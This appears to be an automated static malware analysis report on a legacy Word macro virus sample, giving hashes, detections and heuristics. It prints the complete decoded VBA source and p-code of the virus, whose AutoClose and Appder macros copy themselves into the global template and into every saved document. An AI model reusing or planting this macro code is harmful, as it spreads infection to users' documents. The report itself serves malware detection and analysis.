Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c137cdff930121dd…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-03-31 02:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b9619757af5285289325e053aedf41e1 SHA-1: c762d6d019ce39050447225045642ae3330fcf6a SHA-256: c137cdff930121dd7bc957cb9a741e9c3916e40a21338cf43bc5b465ff47bb0a
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified as 'RSN MACRO VIRUS' and 'Doc.Trojan.Concept-28' by ClamAV. The VBA macros, including 'AutoOpen', 'AutoClose', and 'Appder', are designed to copy themselves to other documents, indicating a propagation mechanism. The 'Funyour' subroutine appears to be involved in the macro's execution flow, though it is truncated.

Heuristics 5

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    sTMacro$ = sMe$ + ":AutoOpen"
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6614 bytes
SHA-256: 579cc14f153d7ef69fc80cd64cd7ec6ce3f01eefc34bd976e18613c5eb7be012
Detection
ClamAV: Doc.Trojan.Appder-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

'   Virus - NTTHNTA

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Quit
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:AutoClose", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done
Quit:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

Attribute VB_Name = "Appder"

'Virus - NTTHNTA

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
End Sub 'Funyour

' Processing file: /tmp/qstore_rm77m2ku
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 2481 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x0012 "   Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn sMe
' Line #5:
' 	Dim 
' 	VarDefn sTMacro
' Line #6:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #7:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #10:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #11:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sTMacro$ 
' Line #12:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #13:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sTMacro$ 
' Line #14:
' 	LitStr 0x000D "Global:Appder"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #15:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sTMacro$ 
' Line #16:
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #17:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #18:
' 	GoTo Done 
' Line #19:
' 	Label Quit 
' Line #20:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #21:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Label Done 
' Line #24:
' 	EndSub 
' Macros/VBA/Appder - 2705 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x000F "Virus - NTTHNTA"
' Line #2:
' Line #3:
' 	FuncDefn (Public Sub MAIN())
' Line #4:
' 	Dim 
' 	VarDefn iMacroCount
' Line #5:
' 	Dim 
' 	VarDefn i
' Line #6:
' 	Dim 
' 	VarDefn AClose
' Line #7:
' 	Dim 
' 	VarDefn Ad
' Line #8:
' 	Dim 
' 	VarDefn sMe
' Line #9:
' 	Dim 
' 	VarDefn sMacro
' Line #10:
' 	ArgsCall Funyour 0x0000 
' Line #11:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #12:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	UMi 
' 	St AClose 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld i 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0003 
' 	LitStr 0x0006 "Appder"
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitDI2 0x0001 
' 	UMi 
' 	St Ad 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #21:
' 	Ld AClose 
' 	Not 
' 	Ld Ad 
' 	Not 
' 	And 
' 	IfBlock 
' Line #22:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #23:
' 	Ld sMe$ 
' 	LitStr 0x0007 ":Appder"
' 	Add 
' 	St sMacro$ 
' Line #24:
' 	Ld sMacro$ 
' 	LitStr 0x000D "Global:Appder"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #25:
' 	Ld sMe$ 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	St sMacro$ 
' Line #26:
' 	Ld sMacro$ 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Label Quit 
' Line #29:
' 	EndSub 
' Line #30:
' Line #31:
' 	FuncDefn (Private Sub Funyour())
' Line #32:
' 	Dim 
' 	VarDefn WOpen
' Line #33:
' 	Dim 
' 	VarDefn sales
' Line #34:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0008 " NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #35:
' 	Ld WOpen$ 
' 	Ld WordBasic 
' 	ArgsMemLd Val 0x0001 
' 	LitDI2 0x0001 
' 	Add 
' 	St sales 
' Line #36:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	Ld sales 
' 	ArgsLd Str 0x0001 
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemCall SetPrivateProfileString 0x0004 
' Line #37:
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0007 "NTTHNTA"
' 	LitStr 0x000C "WINWORD6.INI"
' 	Ld WordBasic 
' 	ArgsMemLd [GetPrivateProfileString$] 0x0003 
' 	St WOpen$ 
' Line #38:
' 	EndSub 
' 	QuoteRem 0x0007 0x0007 "Funyour"

Open this report in the interactive analyzer, or submit your own file for analysis.